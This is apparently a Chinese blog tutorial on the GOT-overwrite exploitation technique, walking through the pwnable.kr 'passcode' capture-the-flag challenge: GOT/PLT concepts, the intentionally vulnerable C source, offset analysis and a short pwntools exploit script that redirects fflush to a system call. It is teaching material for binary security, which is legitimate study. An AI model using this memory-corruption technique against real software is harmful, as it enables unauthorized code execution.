漏洞利用-GOT覆寫技術

GOT和PLT

GOT表

概念:每一個外部定義的符號在全局偏移表(Global offset Table)中有相應的條目,GOT位於ELF的數據段中,叫做GOT段。

作用:把位置無關的地址計算重定位到一個絕對地址。程序首次調用某個庫函數時,運行時連接編輯器(rtld)找到相應的符號,並將它重定位到GOT之後每次調用這個函數都會將控制權直接轉向那個位置,而不再調用rtld。

PLT表

過程連接表(Procedure Linkage Table),一個PLT條目對應一個GOT條目

當main()函數開始,會請求plt中這個函數的對應GOT地址,如果第一次調用那麼GOT會重定位到plt,並向棧中壓入一個偏移,程序的執行回到_init()函數,rtld得以調用就可以定位printf的符號地址,第二次運行程序再次調用這個函數時程序跳入plt,對應的GOT入口點就是真實的函數入口地址。

動態連接器並不會把動態庫函數在編譯的時候就包含到ELF文件中,僅僅是在這個ELF被加載的時候,纔會把那些動態函庫數代碼加載進來,之前系統只會在ELF文件中的GOT中保留一個調用地址.

GOT覆寫

PLT能覆寫嗎?

既然GOT能覆寫,那麼PLT能覆寫嗎?答案是不能,本文基於以下的代碼(具體可參考https://pwnable.kr/index.php#)

//源代碼passcode.c
#include <stdio.h>
#include <stdlib.h>
void login(){
    int passcode1;
    int passcode2;
    printf("enter passcode1 : ");
    scanf("%d", passcode1);
    fflush(stdin);
    // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
    printf("enter passcode2 : ");
    scanf("%d", passcode2);
    printf("checking...n");
    if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!n");
                system("/bin/cat flag");
     }
    else{
            printf("Login Failed!n");
    	    exit(0);
    }
}
void welcome(){
    char name[100];
    printf("enter you name : ");
    scanf("%100s", name);
    printf("Welcome %s!n", name);
}
int main(){
    printf("Toddler's Secure Login System 1.0 beta.n");
    welcome();
    login();
    // something after login...
    printf("Now I can safely trust you that you have credential :)n");
    return 0;    
}

使用gcc編譯:
在這裏插入圖片描述注意這裏的編譯警告。大概意思是說scanf的第二個參數類型應該是int*,而實際上是int。而這正是實現GOT覆寫的地方,稍後會介紹。這裏主要說下PLT爲何不能夠覆寫。通過objdump -h pwnme命令可以查看可執行文件(pwnme)的節的信息:
在這裏插入圖片描述我們注意到.plt節是REAONLY的,顯然,這是沒有辦法修改的,而.got節是沒有READONLY屬性的,是可以修改。關於ELF文件和各個節的含義會在後續文章中介紹。

深入分析scanf

一個簡單的scanf代碼,功能是通過輸入設置a的值。

#include <stdio.h>
int main(){
    int a ;
    printf("%x\n",a);
    scanf("%d",&a);
    fflush(stdin);
}

通過調試可知,當輸入5的時候,在0xffac6a78地址的地方存放着輸入的5,這正是變量a的值。
在這裏插入圖片描述如果寫成scanf("%d",a)會怎麼樣子那?除了警告之外,還會發生什麼?按照上面的分析,a應該會被當作地址來處理的,如果a是一個got表項的地址,那麼不就能夠實現覆寫了嗎?

GOT覆寫

首先查看以flag信息,我們要利用GOT覆寫技術來實現獲取flag信息。查看flag文件的信息如下:
在這裏插入圖片描述查看flag的內容可知是"無情劍客"。
檢查pwnme採用的保護措施,使用checksec,如下所示,禁用了PIE,禁用NX。
在這裏插入圖片描述使用radare2對pwnme進行調試分析
查看welcome函數的彙編代碼,可知ebp-6ch就是我們在函數中定義的name。
在這裏插入圖片描述查看寄存器的值,注意觀察ebp的值。
在這裏插入圖片描述
查看login函數的彙編代碼。
在這裏插入圖片描述在第一個scanf打斷點,查看ebp的值:
在這裏插入圖片描述

通過觀察可知,兩者的ebp的值是一樣的。通過分析彙編代碼可知name,password1,password2等相對於ebp的偏移分別是6ch,ch,10h。

   High
    Address |                 |
            +-----------------+
            | args            |
            +-----------------+
            | return address  |
            +-----------------+
     	ebp | old ebp         |
            +-----------------+ 
   ebp-ch   |                 |password1的地址
            +-----------------+
 ebp-10h    |                 |password2的地址
            +-----------------+
            |   ...           |
            +-----------------+
 ebp-6ch    |                  |name的起始地址
            +-----------------+
    Low     |                 |
    Address

如果我們的name足夠長,覆蓋到password1變量的地址,就能夠控制password1的值的嗎?通過計算6ch-ch=60h=96可知name和password1相差96個字符。

通過上面對scanf的分析,當輸入的變量沒有用取地址符號&,導致讀入數據的時候,scanf會把這個變量中的值當成存儲地址來存放數據,name值的最後4個字節是passcode1值,所以可以通過將passcode1的值改爲fflush()的地址,scanf()之後會調用fflush()函數,覆蓋fflush()在GOT表中的內容,把system(“/bin/cat flag”)對應彙編代碼地址寫入fflush()中,當這個函數被調用時,就會直接執行system(“/bin/cat flag”)。

通過objection -R pwnme查看GOT表可知fflush的地址爲0x0804a010。
在這裏插入圖片描述通過login的彙編代碼可知system(“/bin/cat flag”)的地址是0x080485e3。
在這裏插入圖片描述

攻擊代碼

#-*- coding: UTF-8 -*- 
#!/usr/bin/python 

from pwn import *
p= process('./pwnme')
fflush_got = 0x0804a010
system_addr = 0x80485e3
payload = "A" * 96 + p32(fflush_got) + str(system_addr)
p.send(payload)
p.interactive()

參考連接

elf格式分析
深入理解GOT表覆寫技術

公衆號

瞭解更多二進制安全內容,歡迎關注我的公衆號。
在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章